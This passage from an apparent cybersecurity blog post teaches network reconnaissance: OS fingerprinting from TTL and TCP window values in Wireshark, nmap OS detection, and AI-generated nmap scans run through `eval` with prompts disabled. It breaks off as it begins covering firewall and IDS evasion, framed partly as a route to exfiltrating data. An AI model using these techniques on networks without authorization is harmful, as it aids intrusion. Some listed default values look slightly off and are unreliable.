Apache/Nginx</p></li><li><p><code>.jsp</code> &#8594; Java application server</p></li><li><p><code>.cfm</code> &#8594; ColdFusion server</p></li></ul><div><hr></div><h2><strong>OS Discovery with Wireshark</strong> (TTL &amp; TCP Window Size)</h2><p><strong>The Time to Live (TTL) value in IP packets indicates how many hops a packet can traverse before being discarded.</strong> </p><p>Attackers can leverage this value, along with the TCP window size, found in the IP header or the first packet of a TCP session, to identify the operating system of a machine.</p><p>To begin, use Wireshark to capture the response generated by the target machine. This packet-sniffing tool enables you to analyze the TTL and TCP window size fields, which are critical for OS identification. </p><p>This method proves most reliable on local networks where there are fewer hops between the client and server. Fewer hops mean the observed TTL is closer to the original value set by the operating system.</p><p>It&#8217;s important to note that network configurations can impact the accuracy of this method. Firewalls, NAT devices, and load balancers can alter or normalize TTL values, skewing your results. Large websites and content delivery networks (CDNs), such as Cloudflare or Akamai, often use load balancers. </p><p>As a result, the TTL and TCP window size you observe may reflect the characteristics of their edge servers rather than the true operating system of the host machine.</p><p>Different operating systems employ default values for TTL and TCP window sizes, which can be summarized as follows:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Ahwb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Ahwb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png 424w, https://substackcdn.com/image/fetch/$s_!Ahwb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png 848w, https://substackcdn.com/image/fetch/$s_!Ahwb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png 1272w, https://substackcdn.com/image/fetch/$s_!Ahwb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Ahwb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png" width="1000" height="700" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:700,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:145925,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Ahwb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png 424w, https://substackcdn.com/image/fetch/$s_!Ahwb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png 848w, https://substackcdn.com/image/fetch/$s_!Ahwb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png 1272w, https://substackcdn.com/image/fetch/$s_!Ahwb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd210936-2bfd-4d12-884d-b4e4ff919694_1000x700.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ul><li><p>Linux: TTL 64, TCP Window Size 5840</p></li><li><p>FreeBSD: TTL 64, TCP Window Size 65335</p></li><li><p>OpenBSD: TTL 255, TCP Window Size 16384</p></li><li><p>Windows: TTL 128, TCP Window Size 65,535 bytes to 1 Gigabyte</p></li><li><p>Cisco Routers: TTL 255, TCP Window Size 128</p></li><li><p>Solaris: TTL 255, TCP Window Size 8760</p></li><li><p>AIX: TTL 255, TCP Window Size 16384</p></li></ul><p><em>*These values are estimates and can be affected by a variety of factors*</em></p><p>Follow these steps to use the method:</p><h5><strong>Step 1: Start Wireshark</strong> </h5><ul><li><p>Open Wireshark.</p></li><li><p>Select your active network interface (e.g., Wi-Fi, Ethernet).</p></li></ul><h5><strong>Step 2) Set a Capture Filter (optional)</strong></h5><p>To focus only on TCP connections initiated from the target machine (<code>192.168.1.253</code>), enter this in the <strong>Capture Filter</strong> field before starting capture:</p><pre><code><code>ip.src == 192.168.1.253 &amp;&amp; tcp</code></code></pre><h5><strong>Step 3) Start the Capture</strong></h5><p>Click the <strong>shark fin icon</strong> to begin capturing packets.</p><h5><strong>Step 4) Stop the Capture</strong></h5><p>After a few packets are collected, click the <strong>red square (Stop button)</strong>.</p><h5><strong>Step 5) Locate a TCP Packet</strong></h5><p><strong>5A. Inspect TTL</strong></p><ul><li><p>Click the packet.</p></li><li><p>Expand the <strong>Internet Protocol Version 4 (IPv4)</strong> section in the middle pane.</p></li><li><p>Look for <strong>Time to live (TTL)</strong> &#8594; this shows the remaining TTL value.</p></li><li><p>On a local LAN, this is usually very close to the system&#8217;s default (since there are few or no hops).</p></li></ul><p><strong>5B. Inspect TCP Window Size</strong></p><p>Expand the <strong>Transmission Control Protocol</strong> section.</p><ul><li><p>Look for <strong>Window size value</strong>.</p></li><li><p>This is the advertised TCP receive window, which varies by OS.</p></li></ul><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!0iyd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!0iyd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!0iyd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!0iyd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!0iyd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!0iyd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png" width="1456" height="1456" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1456,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:589541,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!0iyd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png 424w, https://substackcdn.com/image/fetch/$s_!0iyd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png 848w, https://substackcdn.com/image/fetch/$s_!0iyd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!0iyd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fea3acbec-34d7-46fd-b5a3-9c372a825607_1500x1500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h5><strong>Step 6) Compare Values</strong> </h5><p>Finally, compare the recorded TTL and TCP window size against the reference chart that outlines the default values for various operating systems. This comparison will guide you in inferring the likely operating system running on the target machine.</p><p>In our example, the target machine shows:</p><ul><li><p>TTL: 64</p></li><li><p>Window: 2054</p></li></ul><p>These values are not an exact match for any of the known TTL and TCP window size values; however, we can estimate that it could be Linux based on the TTL of 64 and the closest window size, which is within range considering factors like TCP window scaling, network conditions, and variations in system configurations. </p><p>Other influence factors such as latency, the Maximum Segment Size (MSS), or adjustments made by network interference can lead to observed deviations in the expected values. </p><div><hr></div><h2><strong>Nmap OS Detection</strong></h2><p>Nmap analyzes TCP/IP stack behavior and compares it against a database of known OS signatures:</p><pre><code><code>nmap -O &lt;target_ip&gt;</code></code></pre><div><hr></div><h1>Scanning with Artificial Intelligence</h1><p>SGPT is a command-line tool that integrates OpenAI&#8217;s GPT AI models directly in your terminal. If you aren&#8217;t familiar with SGPT yet, check out the full guide:</p><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;a5ecb2b9-1a7c-4732-9256-17d9dbdbe897&quot;,&quot;caption&quot;:&quot;ShellGPT (SGPT) is a command-line tool that uses AI language models, such as OpenAI's GPT family, to generate shell commands, code snippets, and documentation directly in the terminal.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;ShellGPT (SGPT): AI-Powered Command-Line Productivity Tool&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-07-28T16:02:10.838Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!hbTF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Feeec1517-aa18-451f-bfab-5e23d95956e5_1000x700.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/shellgpt-sgpt-ai-powered-command&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:168822155,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:8,&quot;comment_count&quot;:1,&quot;publication_id&quot;:null,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><h2><strong>Run a Basic Scan with AI</strong></h2><p>To run a scan with SGPT, use SGPT&#8217;s &#8216;shell&#8217; flag (-s) that will provide you with the option to run the command after it&#8217;s generated and write an SGPT prompt to specify the command and tool you want to use:</p><pre><code>sgpt -s "run an nmap scan to get services and versions on localhost"</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UQ9I!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UQ9I!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png 424w, https://substackcdn.com/image/fetch/$s_!UQ9I!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png 848w, https://substackcdn.com/image/fetch/$s_!UQ9I!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png 1272w, https://substackcdn.com/image/fetch/$s_!UQ9I!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UQ9I!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png" width="1456" height="582" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:582,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:396295,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UQ9I!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png 424w, https://substackcdn.com/image/fetch/$s_!UQ9I!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png 848w, https://substackcdn.com/image/fetch/$s_!UQ9I!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png 1272w, https://substackcdn.com/image/fetch/$s_!UQ9I!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F49f7f7c4-5f44-4beb-920a-0d0c35d68feb_1500x600.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Advanced SGPT Commands</h2><p>SGPT can be used to create advanced operations by chaining together multiple commands, using the output from one command as input for the next.</p><h3>Generate Your Own Advanced Commands:</h3><p>You can use SGPT to generate advanced commands, by specifying the actions you want it to take. Here&#8217;s an example:</p><pre><code>sgpt -s "Write a terminal command that: is one line, and chain commands together. Scan localhost for open ports and services, output to a text file, then use sgpt to create a table of the data output in terminal"</code></pre><h3>Example: Scan Local Network for Live Hosts, Display Results in HTML File</h3><p>In the following example, we will:</p><ol><li><p>Get the local subnet. Save to subnet to a variable named &#8216;CIDR&#8217;.</p></li><li><p>Use SGPT to run a fast scan to discover list hosts on the network. Use the &#8216;&#8212;no-interaction- flag to skip the interaction prompt (Execute, Describe, Abort).</p></li><li><p>Use SGPT to generate an HTML file displaying the results from the scan.<br><em>Note: You may need to specify that you only want the HTML without additional text to avoid an overly verbose response.</em></p></li><li><p>Open the HTML file.</p></li></ol><pre><code>CIDR=$(ifconfig en0 | awk '/inet / {split($2,a,"."); print a[1] "." a[2] "." a[3] ".0/24"}') &amp;&amp; CMD=$(sgpt -s --no-interaction "Write a fast nmap command to scan for live hosts on the network: $CIDR and save output to scan.txt") &amp;&amp; eval "$CMD" &amp;&amp; cat scan.txt | sgpt "Write an HTML to convert this Nmap output into a HTML file with a table of hosts and their status (cols: host, hostname, status). Include a short header, one sentence description, table of results. Return only the HTML no other text before or after. Use CSS in header to center and stylize the content in a professional design." &gt; scan.html &amp;&amp; open scan.html</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!eJXL!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!eJXL!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png 424w, https://substackcdn.com/image/fetch/$s_!eJXL!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png 848w, https://substackcdn.com/image/fetch/$s_!eJXL!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!eJXL!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!eJXL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png" width="912" height="1500" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1500,&quot;width&quot;:912,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:528879,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/170809241?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!eJXL!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png 424w, https://substackcdn.com/image/fetch/$s_!eJXL!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png 848w, https://substackcdn.com/image/fetch/$s_!eJXL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png 1272w, https://substackcdn.com/image/fetch/$s_!eJXL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F58bc63fd-a781-4f53-a9f7-f784ed0f060c_912x1500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div><hr></div><h1>Scanning Beyond the IDS and Firewall</h1><p><strong>If scans aren&#8217;t working, a firewall may be interfering.</strong> This includes host firewalls and network edge firewalls (e.g., routers, VLANs, or subnet edges), as well as Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS).</p><p>These strategies are beneficial not only for conducting scans from beyond the firewall but also for identifying pathways to exfiltrate data after a successful exploitation.</p><div 